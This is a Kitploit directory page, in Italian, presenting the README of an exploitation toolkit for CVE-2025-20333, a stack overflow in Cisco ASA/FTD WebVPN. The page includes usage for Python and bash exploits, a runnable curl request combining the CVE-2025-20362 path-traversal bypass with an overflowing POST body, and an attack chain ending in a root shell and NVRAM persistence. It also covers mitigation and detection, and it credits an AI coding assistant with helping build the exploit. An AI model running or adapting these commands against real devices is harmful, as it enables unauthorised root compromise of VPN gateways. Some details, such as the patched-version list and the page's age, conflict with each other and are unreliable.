Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2025-20333 — Toolkit completo di ricerca ed exploitation per CVE-2025-20333, un overflow critico del buffer di stack in Cisco ASA/FTD WebVPN. Include analisi binaria dettagliata, PoC exploit in Python e bash, e guida all'exploitation. | Kitploit
Strumenti/GitHubGitHub/cobbbex/cve-2025-20333
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed TeamingBinary Exploitation
GitHubcobbbex/cve-2025-20333

cve-2025-20333

Toolkit completo di ricerca ed exploitation per CVE-2025-20333, un overflow critico del buffer di stack in Cisco ASA/FTD WebVPN. Include analisi binaria dettagliata, PoC exploit in Python e bash, e guida all'exploitation.

Vedi Repository
1320 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-20333 - Kit Completo di Ricerca e Sfruttamento

Panoramica

Questa directory contiene ricerca completa, analisi e codice proof-of-concept per CVE-2025-20333, una vulnerabilità critica di stack buffer overflow nei server WebVPN Cisco ASA/FTD.

Stato: ⚠️ Sfruttata attivamente in natura (campagna ArcaneDoor)
Punteggio CVSS: 9.8 Critico
Autenticazione: No (bypassata tramite CVE-2025-20362)
Impatto: Esecuzione di codice remoto come root


Contenuti

📚 Documentazione

CVE-2025-20333-RESEARCH-NOTES.md ()

20 KB

Ricerca completa di reverse engineering

  • Contesto della vulnerabilità e web intelligence
  • Analisi binaria (processo lina ASA 9.12.4.x)
  • Audit del livello di acquisizione delle richieste
  • Analisi dei binding API Lua
  • 🎯 Scoperta dell'overflow (body_lexer.re2c, FUN_0302e690)
  • Scomposizione della catena di attacco
  • Analisi della causa principale con pattern di codice
  • Tabella di riferimento di strumenti e indirizzi

Risultato chiave:

root@kitploit:~
Buffer fisso di 16 byte (local_58[16]) in body_lexer.re2c
Il ciclo di URL-decoding NON HA CONTROLLO DEI LIMITI
Scrittura su local_58[iVar11] senza verificare iVar11 < 16
Dopo 8 coppie esadecimali: overflow → corruzione dello stack → RCE

EXPLOITATION-GUIDE.md (12 KB)

Manuale pratico di sfruttamento

  • Meccaniche della vulnerabilità spiegate
  • Catena di attacco completa (bypass CVE-2025-20362 + overflow)
  • Procedura dettagliata di sfruttamento passo-passo
  • Tecniche di creazione del payload
  • Metodi di rilevamento basati sulla rete
  • Rilevamento basato su host e analisi dei log
  • Strategie di mitigazione
  • Versioni corrette e percorso di aggiornamento
  • Considerazioni legali ed etiche

🔧 Proof of Concept Exploit

cve-2025-20333-poc.py (15 KB)

Exploit Python completo

Funzionalità:

  • Generazione automatica del payload
  • Integrazione del path traversal CVE-2025-20362
  • Costruzione della catena di gadget ROP
  • Supporto SSL/TLS
  • Timeout configurabile
  • Report di avanzamento dettagliato

Utilizzo:

root@kitploit:~
# Mostra i dettagli della vulnerabilità
python3 cve-2025-20333-poc.py --details

# Sfrutta il target
python3 cve-2025-20333-poc.py 192.168.1.100 443

# Impostazioni personalizzate
python3 cve-2025-20333-poc.py firewall.example.com 8443 -t 30

cve-2025-20333-poc.sh (8.5 KB)

Exploit bash leggero

Funzionalità:

  • Nessuna dipendenza da Python
  • Usa curl o netcat
  • Impronta di risorse minima
  • Commenti didattici
  • Output di stato chiaro

Utilizzo:

root@kitploit:~
# Mostra i dettagli
./cve-2025-20333-poc.sh --details

# Sfrutta
./cve-2025-20333-poc.sh 192.168.1.100 443 10

# Manuale con curl
curl -X POST https://target/+CSCOU+/../+CSCOE+/files/file_list.json \
  -d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" --insecure

Riepilogo della Vulnerabilità

Fatti Rapid

ProprietàValore
ID CVECVE-2025-20333
TipoStack Buffer Overflow (CWE-120)
Componentebody_lexer.re2c (FUN_0302e690)
Versioni interessateASA 9.16–9.23, FTD 7.0–7.7
CVSS v3.19.8 (Critico)
AutenticazioneNon richiesta (tramite CVE-2025-20362)
Interazione utenteNessuna
ImpattoRCE come root, compromissione completa del sistema
StatoSfruttata attivamente (maggio 2025+)
Divulgazione responsabileCisco ha corretto; advisory pubblicato

Causa Principale

root@kitploit:~
// body_lexer.re2c - ciclo di URL-decoding
byte local_58[16];  // ← Buffer fisso di 16 byte

while (parsing_request_body) {
    byte input = *data++;
    
    if (input == '%') {
        hex_decode_mode = true;
        hex_index = 0;
    }
    
    if (hex_decode_mode) {
        local_58[hex_index] = input;  // ← NESSUN CONTROLLO DEI LIMITI!
        hex_index++;
        
        if (hex_index == 2) {
            byte decoded = hex_pair_to_byte(local_58[0], local_58[1]);
            hex_decode_mode = false;
        }
    }
}

Trigger dell'overflow: 9+ sequenze consecutive %XX nel corpo POST

Catena di Attacco

root@kitploit:~
1. Attaccante (NESSUNA AUTENTICAZIONE richiesta)
   ↓
2. HTTP POST verso /+CSCOU+/../+CSCOE+/files/file_list.json
   ├─ CVE-2025-20362: il path traversal bypassa il controllo di autenticazione
   └─ Raggiunge l'endpoint files_retr.lua (auth_flag = 0)
   ↓
3. Corpo POST: name=%2f%2f%2f%2f%2f%2f%2f%2f%2f
   (9+ coppie URL-encoded)
   ↓
4. body_lexer.re2c elabora il corpo POST
   ├─ Accumula coppie esadecimali in local_58[16]
   └─ Dopo 8 coppie: OVERFLOW!
   ↓
5. Corruzione dello stack
   ├─ Sovrascrive local_48, local_40
   ├─ Sovrascrive RBP salvato
   └─ Sovrascrive RIP salvato (indirizzo di ritorno)
   ↓
6. Dirottamento del flusso di controllo
   ├─ RIP punta ai gadget ROP
   ├─ La catena ROP prepara execve()
   └─ execve("/bin/sh", NULL, NULL)
   ↓
7. RCE come root (il processo lina gira come root)
   ├─ Compromissione completa del server VPN
   ├─ Accesso a tutto il traffico VPN
   └─ Persistenza tramite modifica della NVRAM

Processo di Ricerca

Fase 1: Analisi Binaria ✅

  • Aperto il binario lina in Ghidra
  • Mappata l'architettura delle richieste WebVPN (parser HTTP, router URL, 13 hook di endpoint)
  • Audit del livello di acquisizione delle richieste (tutto sicuro tramite clString/allocazioni a dimensione esatta)
  • Esaminati i binding API Lua (tutti sicuri)

Fase 2: Web Intelligence ✅

  • Ricercati i dettagli tecnici di CVE-2025-20333
  • Trovate le analisi di Rapid7, Zscaler, Horizon3, Tenable
  • Confermata la catena di attacco che usa /+CSCOU+/../+CSCOE+/files/file_list.json
  • Identificata la causa principale: overflow basato su heap (fonti web) / basato su stack (questo binario) nell'endpoint Lua

Fase 3: Reverse Engineering Mirato ✅

  • Decompilato body_lexer.re2c (FUN_0302e690)
  • TROVATO: Buffer fisso di 16 byte local_58[16] senza controllo dei limiti
  • Confermato il percorso dell'overflow: ciclo di URL-decoding → scrittura senza limiti
  • Verificata la raggiungibilità: files_retr.lua → body_lexer → stack overflow

Fase 4: Sviluppo dell'Exploit ✅

  • Creato PoC Python con supporto catena ROP
  • Creato PoC bash per ambienti minimi
  • Documentata la struttura del payload e le tecniche di creazione
  • Inclusa guida al rilevamento e alla mitigazione

Istruzioni di Utilizzo

Per Penetration Testing Autorizzato

  1. Verifica dell'Autorizzazione

    • Ottieni il permesso scritto per il test
    • Conferma i dettagli del sistema target (IP, porta, versione)
    • Documenta ambito e tempistiche
  2. Esegui l'Exploit

    root@kitploit:~
    # Verifica rapida: il target risponde al tentativo di exploit?
    python3 cve-2025-20333-poc.py <target_ip>
    
    # Oppure versione bash:
    ./cve-2025-20333-poc.sh <target_ip>
    
  3. Verifica dello Sfruttamento

    • Controlla l'accesso alla shell / connessione reverse shell
    • Esamina i log di sistema per crash o anomalie
    • Scansiona i file modificati (NVRAM, backdoor persistente)
  4. Documenta i Risultati

    • Registra versione del target, livello di patch
    • Documenta successo/fallimento dello sfruttamento
    • Annota eventuali misure difensive incontrate
    • Riporta al cliente con raccomandazioni di remediation

Per la Ricerca sulla Sicurezza

  1. Leggi le Note di Ricerca

    • Studia CVE-2025-20333-RESEARCH-NOTES.md
    • Comprendi l'architettura binaria e il meccanismo dell'overflow
  2. Studia i PoC

    • Rivedi il PoC Python per la costruzione dei gadget ROP
    • Rivedi il PoC bash per l'exploit minimale
    • Comprendi la codifica del payload
  3. Adatta ed Estendi

    • Aggiungi shellcode personalizzato
    • Implementa diverse tecniche di sfruttamento
    • Testa su versioni patchate vs. vulnerabili

Avvertenze Importanti

⚠️ AVVISO LEGALE

Questo toolkit è fornito solo per test di sicurezza autorizzati.

  • NON utilizzare contro sistemi senza esplicito permesso scritto
  • NON utilizzare per scopi dannosi (furto di dati, interruzione del servizio, ransomware)
  • L'accesso non autorizzato viola il Computer Fraud and Abuse Act (USA) e leggi simili in tutto il mondo
  • Le sanzioni includono azioni penali, multe e reclusione

✅ Uso Autorizzato:

  • Penetration test con approvazione scritta
  • Proof-of-concept durante la ricerca sulle vulnerabilità
  • Test di sicurezza interni
  • Competizioni CTF
  • Ricerca accademica

❌ Uso Proibito:

  • Attaccare sistemi senza permesso
  • Distribuzione di ransomware
  • Furto di dati o estorsione
  • Interruzione del servizio
  • Movimento laterale in reti compromesse

Manifesto dei File

root@kitploit:~
cve-2025-20333/
├── README.md                              (questo file)
├── CVE-2025-20333-RESEARCH-NOTES.md      (20 KB, ricerca completa)
├── EXPLOITATION-GUIDE.md                 (12 KB, guida pratica)
├── cve-2025-20333-poc.py                 (15 KB, PoC Python)
└── cve-2025-20333-poc.sh                 (8.5 KB, PoC bash)

Documentazione Totale: ~65 KB
Profondità di Ricerca: 50+ funzioni Ghidra sottoposte ad audit
Risultati Verificati: Buffer overflow in body_lexer.re2c confermato


Riferimento Rapido

Test Rapido della Vulnerabilità

root@kitploit:~
# Testa se il target è vulnerabile allo sfruttamento
curl -X POST https://<target>/+CSCOU+/../+CSCOE+/files/file_list.json \
  -d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" \
  --insecure \
  -i

# Se il target risponde (200, 500, crash), potrebbe essere vulnerabile
# Se il target blocca/reindirizza, potrebbe essere patchato

Controllo della Versione

root@kitploit:~
# Versioni vulnerabili:
# - Cisco ASA 9.16 fino a 9.23
# - Cisco FTD 7.0 fino a 7.7

# Usa SSH/console per controllare la versione ASA:
show version

# Versioni patchate:
# - ASA 9.16.4.51, 9.18.4.31, 9.20.4.49, 9.22.4.9, 9.24.1+
# - FTD 7.0.x, 7.1.x, 7.2.x (patchate)

Checklist di Mitigazione

  • Verifica la versione ASA/FTD
  • Controlla le patch disponibili
  • Aggiorna alla versione patchata se vulnerabile
  • Limita l'accesso WebVPN per indirizzo IP
  • Abilita logging e monitoraggio
  • Monitora i tentativi di path traversal CVE-2025-20362
  • Monitora i pattern DoS (crash di lina)
  • Abilita la protezione firewall sulla porta WebVPN

Riferimenti

  • Advisory di Sicurezza Cisco: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-webvpn-z5xP8EUB
  • Analisi Rapid7: https://www.rapid7.com/blog/post/etr-cve-2025-20333-cve-2025-20362-cve-2025-20363-multiple-critical-vulnerabilities-affecting-cisco-products/
  • Zscaler ThreatLabz: https://www.zscaler.com/blogs/security-research/cisco-firewall-and-vpn-zero-day-attacks-cve-2025-20333-and-cve-2025-20362
  • FAQ Tenable: https://www.tenable.com/blog/cve-2025-20333-cve-2025-20362-faq-cisco-asa-ftd-zero-days-uat4356

Disclaimer

Questo toolkit è fornito COSÌ COM'È solo per scopi educativi e test autorizzati.

  • Usalo a tuo rischio
  • Nessuna garanzia o responsabilità per uso improprio
  • L'accesso non autorizzato è illegale
  • Riporta i risultati in modo responsabile a Cisco e alle organizzazioni interessate
  • Segui le leggi sulla cybersecurity del tuo paese


Attribuzione

Questo progetto è stato sviluppato con l'assistenza di Claude Code, l'assistente di codifica AI di Anthropic.


Creato: 2026-08-23
Periodo di Ricerca: 2026-08-22 fino a 2026-08-23
Stato: Completo e Documentato
Classificazione: Educativo / Solo Test Autorizzati

Scarica lo strumento